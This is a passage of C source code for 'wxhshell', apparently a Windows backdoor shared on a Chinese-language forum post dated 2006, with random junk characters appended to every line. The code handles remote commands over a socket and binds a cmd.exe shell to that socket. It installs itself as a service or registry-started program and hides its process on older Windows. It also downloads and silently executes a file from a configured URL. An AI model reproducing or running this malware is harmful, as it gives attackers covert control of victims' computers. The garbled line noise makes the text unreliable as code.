  // 帮助 Jtr"NS?a]  
  case '?': { ~/98Id}v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L3@82yPo!  
    break; /J=v]<87a  
  } RxI(:i?  
  // 安装 SKkUU^\#R`  
  case 'i': { nEJY5Bz$  
    if(Install()) n 2)@S0{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qU#1i:(F*  
    else f@Zszt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^pQCNKLBY  
    break; S/9DtXQ  
    } ,n3a gkPO>  
  // 卸载 \l9qt5rS  
  case 'r': { Dey<OE&  
    if(Uninstall()) G+X Sfr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xlA$:M&  
    else vUohtS*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2QJ{a46}  
    break; dwDcR,z?a  
    } u*Pibgd<  
  // 显示 wxhshell 所在路径 P_*" dza  
  case 'p': { _V7r1fY:  
    char svExeFile[MAX_PATH]; umt.Um.m2  
    strcpy(svExeFile,"\n\r"); #,":vr  
      strcat(svExeFile,ExeFile); j$?{\iXZ  
        send(wsh,svExeFile,strlen(svExeFile),0); C -\S/yd  
    break; ;<j0f~G`  
    } 9 }PhN<Gd  
  // 重启 i*/Yz*<  
  case 'b': { D/vOs[X o,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NT e5  
    if(Boot(REBOOT)) 8B\2Zfe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PIdikA  
    else { ?~hHGf\^b6  
    closesocket(wsh); M$/|)U'W  
    ExitThread(0); ^j31S*f&:  
    } +^=8ge}  
    break; L"o>wYx  
    } kXi6lh  
  // 关机 B?'#4J  
  case 'd': { >[*8I\*@n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {L/tst#C  
    if(Boot(SHUTDOWN)) Y@N,qHtz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A v2 08}Y  
    else { "1 L$|  
    closesocket(wsh); G(p`1~xm  
    ExitThread(0); Wu[&Wv~  
    } ]G5 w6&d  
    break; h*w%jdQ6  
    } &#!4XOyB  
  // 获取shell 925|bX6I  
  case 's': { }BZ"S-hZ  
    CmdShell(wsh); KKiE@_z  
    closesocket(wsh); 18+)`M-5o  
    ExitThread(0); w5Ay)lz  
    break; BD_Iz A<wK  
  } NQ(1   
  // 退出 GP?M!C,/}k  
  case 'x': { @+Si?8\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BJM.iXU)[  
    CloseIt(wsh); `*_mP<Ag  
    break; C8Qa$._  
    } 2+QYhdw  
  // 离开 i rU 6D  
  case 'q': { WvBc#s-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +nXK-g;)'  
    closesocket(wsh); =&ks)MH-  
    WSACleanup(); WST8SEzJ  
    exit(1); Jk7|{W\OA  
    break; {`LU+  
        } M>~Drul  
  } `$,GzS(  
  } y9q8i(E0  
[d(U38BI  
  // 提示信息 nbm&wa[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1FlX'[vh  
} V^3L3|k  
  } ]x RM&=)<  
\m(VdE  
  return; E"qRw_ ~t  
} &cxRD  
Y9uC&/_C  
// shell模块句柄 $c]fPt"i  
int CmdShell(SOCKET sock) 9N@W\DT  
{ ,z;cbsV-{  
STARTUPINFO si; ]P.'>4  
ZeroMemory(&si,sizeof(si)); H`1{_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W+UfGk}A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6-z%633DL  
PROCESS_INFORMATION ProcessInfo; xTj|dza  
char cmdline[]="cmd"; _ba>19csq%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #gz M|  
  return 0; 9$cWU_q{  
} /67 h&j  
X-6de>=   
// 自身启动模式 $c 0h. t  
int StartFromService(void) e+~\+:[?  
{ GFeQ%l`7F  
typedef struct oW ::hB  
{ 7 n8"/0kc:  
  DWORD ExitStatus; fI&t]   
  DWORD PebBaseAddress; coW:DFX  
  DWORD AffinityMask; &;^YBW:I  
  DWORD BasePriority; }=<  
  ULONG UniqueProcessId; YC++& Nk  
  ULONG InheritedFromUniqueProcessId; Z/k:~%|E  
}   PROCESS_BASIC_INFORMATION; kW;+|qs^  
&,zq%;-f  
PROCNTQSIP NtQueryInformationProcess; kD=WO4}  
,{M^-3C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )'l:K.F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KN<S}3MN  
/N=b\-]  
  HANDLE             hProcess;  6:b! F  
  PROCESS_BASIC_INFORMATION pbi; qTdheX/  
TE3lK(f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d,+Hd2o^X  
  if(NULL == hInst ) return 0; tSc Pa,(  
rp3V3]EE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U' H$`$Ov  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U{2BVqM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J!c)s!`w  
$xzAv{  
  if (!NtQueryInformationProcess) return 0; #.rdQ,)<  
b*a#<K$T_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7m4ao K  
  if(!hProcess) return 0; ^q{9  
nyQ&f'<   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >0/i[k-dk  
q!.byrod  
  CloseHandle(hProcess); ) i;1*jK  
~IYUuWF(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - Ajo9H  
if(hProcess==NULL) return 0; ] eotc2?u  
jyZ  (RB  
HMODULE hMod; bo2H]PL*  
char procName[255]; l3Xfc2~ 2  
unsigned long cbNeeded; Sc\*W0m  
u(@$a4z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '))0Lh l  
L-ET<'u  
  CloseHandle(hProcess); kVkU)hqR  
xN5)   
if(strstr(procName,"services")) return 1; // 以服务启动 `, OG7hg  
@5N]ZQ9  
  return 0; // 注册表启动 smlpD3?va  
} Jl( &!?j  
|cK*~  
// 主模块 j'Gt&\4  
int StartWxhshell(LPSTR lpCmdLine) fz|cnU  
{ 3eb%OEMYk  
  SOCKET wsl; kjIAep0rT  
BOOL val=TRUE; CS2 Bo  
  int port=0; 6.sx?YYM  
  struct sockaddr_in door; c/D+|X*  
nEJq_  
  if(wscfg.ws_autoins) Install(); 2GP=&K/A  
IdzxS  
port=atoi(lpCmdLine); `95r0t0hh\  
n`#tKwWHYx  
if(port<=0) port=wscfg.ws_port; S=MEG+Ad  
`ZU($!(  
  WSADATA data; SEo'(-5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {+ ][5<q  
nL5cK:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )F}F_Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U_Vs.M.p  
  door.sin_family = AF_INET; p, h9D_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Pm>sY}d<I  
  door.sin_port = htons(port); m}C>ti`VD  
\.0^n3y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d?ex,f.  
closesocket(wsl); Bn^0^J-  
return 1; -z-C*%~  
} RmI]1S_=  
Nkjza:f{  
  if(listen(wsl,2) == INVALID_SOCKET) { \MA+f~)9  
closesocket(wsl); ERUz3mjA/  
return 1; ,$@bE  
} 4;w;'3zq  
  Wxhshell(wsl); sQ=]NF)\  
  WSACleanup(); @D.}\(  
lAS#874dE  
return 0; 9Z|jxy  
44gPCW,u  
} cA2V2S)  
- \ 5v^l  
// 以NT服务方式启动 O@tU.5*$5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lsgh#x  
{ ],>@";9u"  
DWORD   status = 0; ?~l6K(*2  
  DWORD   specificError = 0xfffffff; a+[RS]le  
HU1h8E$-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n3T>QgK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <Q3oT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %D UH@j  
  serviceStatus.dwWin32ExitCode     = 0; ed]=\Key  
  serviceStatus.dwServiceSpecificExitCode = 0; i@C].X  
  serviceStatus.dwCheckPoint       = 0; ]}Mj)J"m  
  serviceStatus.dwWaitHint       = 0; US+Q~GTA  
.?D7dyU l1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `n.5f[wC  
  if (hServiceStatusHandle==0) return; %oF}HF.  
$I!XSz"/e  
status = GetLastError(); _ q(ko/T  
  if (status!=NO_ERROR) !-z'2B*:^  
{ 1A?W:'N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mf A{3  
    serviceStatus.dwCheckPoint       = 0; tGD6AI1"I  
    serviceStatus.dwWaitHint       = 0; i{Uc6 R6  
    serviceStatus.dwWin32ExitCode     = status; &Q%zl9g(g  
    serviceStatus.dwServiceSpecificExitCode = specificError; qt"G[9;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k|v3.< -  
    return;  j?A/#  
  } 7G:s2432  
AhCW'.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g9m-TkNk  
  serviceStatus.dwCheckPoint       = 0; 4qphA9i1  
  serviceStatus.dwWaitHint       = 0; h(<,fg1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /vY(o1o x  
} _- [''(E  
 H_B4  
// 处理NT服务事件,比如:启动、停止 qPWP&k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }HL]yDO  
{ 9"@\s$ OBk  
switch(fdwControl) e2L0VXbb  
{ 6}Vf\j~  
case SERVICE_CONTROL_STOP: 9 3U_tQ&1?  
  serviceStatus.dwWin32ExitCode = 0; .4_o>D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A|CmlAW~^  
  serviceStatus.dwCheckPoint   = 0; *]. 7dec/  
  serviceStatus.dwWaitHint     = 0; sWQfr$^A  
  { Bp*K]3_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Q9qq~  
  } KLU-DCb%  
  return; bADnW4N`6;  
case SERVICE_CONTROL_PAUSE: 8J*"%C$qe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TIx|L  
  break; [=x[ w70  
case SERVICE_CONTROL_CONTINUE: Jz?j[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \(~y?l  
  break; v:EB*3n5  
case SERVICE_CONTROL_INTERROGATE: :Gv1?M  
  break; ~fBtQGdX  
}; w:??h4lt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IW)()*8;/  
} cec9l65d  
n?oW< &  
// 标准应用程序主函数 LZ\q3 7UV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +cWLjPD/}  
{ fr,7rS/w{l  
x"eRJii?  
// 获取操作系统版本 Xk:OL,c  
OsIsNt=GetOsVer(); 9lTv   
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,K>I%_!1  
y6@0O%TDN  
  // 从命令行安装 Q0$8j-1I  
  if(strpbrk(lpCmdLine,"iI")) Install(); T`/AY?#  
sI43@[  
  // 下载执行文件 OBgkpx*Q  
if(wscfg.ws_downexe) { 6T>mW#E&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ImCe K  
  WinExec(wscfg.ws_filenam,SW_HIDE); iy6On,UL  
} 2^XGGB0  
7;u e  
if(!OsIsNt) { fTzvmC:g7  
// 如果时win9x,隐藏进程并且设置为注册表启动 h,QKd>4:CF  
HideProc(); 9*$t!r{B@  
StartWxhshell(lpCmdLine); .\ K_@M  
} tWo{7)Eb  
else _my"%@n  
  if(StartFromService()) 3sc+3-TF  
  // 以服务方式启动 *RT>`,t/  
  StartServiceCtrlDispatcher(DispatchTable); 6~OoFm5  
else bf0+DvIB  
  // 普通方式启动 )Z[ft  
  StartWxhshell(lpCmdLine); 9K/HO!z  
m2 -Sx  
return 0; =Xm@YVf&ZD  
}
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只看该作者 1 发表于: 2006-10-10
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